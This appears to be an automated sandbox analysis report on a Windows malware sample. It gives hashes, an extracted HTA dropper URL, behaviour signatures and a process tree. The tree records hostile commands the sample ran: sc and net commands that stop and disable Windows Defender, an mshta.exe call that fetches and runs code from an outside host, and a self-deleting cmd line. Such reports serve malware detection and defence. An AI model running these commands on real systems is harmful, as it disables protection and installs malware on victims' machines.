Analysis

  • max time kernel
    152s
  • max time network
    136s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    05-12-2022 12:39

General

  • Target

    900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe

  • Size

    2.2MB

  • MD5

    44e75fcf7bffbb2d15574bd78abb663b

  • SHA1

    43be4f349f05f5ba056961ee8bdc9e4e8c443a10

  • SHA256

    900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f

  • SHA512

    c6aaaec41b7b84586a43a2fde49641de06aafa1d1d5d0f1000dcc69b518e7a2920165c708da3048abd889513ff8c23c187bfd9cf5d12ae4a98932333be43a961

  • SSDEEP

    49152:Tb+qOGFGc/y+BMsAuII26f0EQh6fVnOTk3DSpX4R9DKp52:Tb2ou+mZpI268EQsx3D2XNpw

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://softscoreinc.com/soft-usage/favicon.ico?0=1200&1=VUIIVLGQ&2=i-s&3=135&4=7601&5=6&6=1&7=99600&8=1033

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • UAC bypass 3 TTPs 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Sets file execution options in registry 2 TTPs 16 IoCs
  • Stops running service(s) 3 TTPs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Launches sc.exe 6 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of WriteProcessMemory 52 IoCs
  • System policy modification 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe
    "C:\Users\Admin\AppData\Local\Temp\900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1244
    • C:\Windows\SysWOW64\sc.exe
      sc stop WinDefend
      2⤵
      • Launches sc.exe
      PID:2036
    • C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:1524
    • C:\Windows\SysWOW64\net.exe
      net stop msmpsvc
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:568
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop msmpsvc
        3⤵
          PID:1948
      • C:\Windows\SysWOW64\sc.exe
        sc config msmpsvc start= disabled
        2⤵
        • Launches sc.exe
        PID:520
      • C:\Users\Admin\AppData\Roaming\Microsoft\wrvfvp.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\wrvfvp.exe
        2⤵
        • Modifies WinLogon for persistence
        • UAC bypass
        • Executes dropped EXE
        • Sets file execution options in registry
        • Checks whether UAC is enabled
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        • System policy modification
        PID:1096
        • C:\Windows\SysWOW64\sc.exe
          sc stop WinDefend
          3⤵
          • Launches sc.exe
          PID:1552
        • C:\Windows\SysWOW64\net.exe
          net stop msmpsvc
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1564
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop msmpsvc
            4⤵
              PID:972
          • C:\Windows\SysWOW64\sc.exe
            sc config WinDefend start= disabled
            3⤵
            • Launches sc.exe
            PID:912
          • C:\Windows\SysWOW64\sc.exe
            sc config msmpsvc start= disabled
            3⤵
            • Launches sc.exe
            PID:528
          • C:\Windows\SysWOW64\mshta.exe
            mshta.exe "http://softscoreinc.com/soft-usage/favicon.ico?0=1200&1=VUIIVLGQ&2=i-s&3=135&4=7601&5=6&6=1&7=99600&8=1033"
            3⤵
            • Modifies Internet Explorer settings
            PID:1388
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\900FFC~1.EXE" >> NUL
          2⤵
          • Deletes itself
          PID:1556

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Roaming\Microsoft\wrvfvp.exe

        Filesize

        2.2MB

        MD5

        44e75fcf7bffbb2d15574bd78abb663b

        SHA1

        43be4f349f05f5ba056961ee8bdc9e4e8c443a10

        SHA256

        900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f

        SHA512

        c6aaaec41b7b84586a43a2fde49641de06aafa1d1d5d0f1000dcc69b518e7a2920165c708da3048abd889513ff8c23c187bfd9cf5d12ae4a98932333be43a961

      • \Users\Admin\AppData\Roaming\Microsoft\wrvfvp.exe

        Filesize

        2.2MB

        MD5

        44e75fcf7bffbb2d15574bd78abb663b

        SHA1

        43be4f349f05f5ba056961ee8bdc9e4e8c443a10

        SHA256

        900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f

        SHA512

        c6aaaec41b7b84586a43a2fde49641de06aafa1d1d5d0f1000dcc69b518e7a2920165c708da3048abd889513ff8c23c187bfd9cf5d12ae4a98932333be43a961

      • \Users\Admin\AppData\Roaming\Microsoft\wrvfvp.exe

        Filesize

        2.2MB

        MD5

        44e75fcf7bffbb2d15574bd78abb663b

        SHA1

        43be4f349f05f5ba056961ee8bdc9e4e8c443a10

        SHA256

        900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f

        SHA512

        c6aaaec41b7b84586a43a2fde49641de06aafa1d1d5d0f1000dcc69b518e7a2920165c708da3048abd889513ff8c23c187bfd9cf5d12ae4a98932333be43a961

      • memory/1096-70-0x0000000000400000-0x000000000082E000-memory.dmp

        Filesize

        4.2MB

      • memory/1096-83-0x0000000000830000-0x000000000088A000-memory.dmp

        Filesize

        360KB

      • memory/1096-82-0x0000000000400000-0x000000000082E000-memory.dmp

        Filesize

        4.2MB

      • memory/1096-71-0x0000000000830000-0x000000000088A000-memory.dmp

        Filesize

        360KB

      • memory/1244-57-0x0000000000400000-0x000000000082E000-memory.dmp

        Filesize

        4.2MB

      • memory/1244-69-0x0000000004410000-0x000000000483E000-memory.dmp

        Filesize

        4.2MB

      • memory/1244-56-0x00000000003A0000-0x00000000003FA000-memory.dmp

        Filesize

        360KB

      • memory/1244-64-0x0000000004410000-0x000000000483E000-memory.dmp

        Filesize

        4.2MB

      • memory/1244-73-0x0000000000400000-0x000000000082E000-memory.dmp

        Filesize

        4.2MB

      • memory/1244-74-0x00000000003A0000-0x00000000003FA000-memory.dmp

        Filesize

        360KB

      • memory/1244-54-0x0000000076531000-0x0000000076533000-memory.dmp

        Filesize

        8KB

      • memory/1244-55-0x0000000000400000-0x000000000082E000-memory.dmp

        Filesize

        4.2MB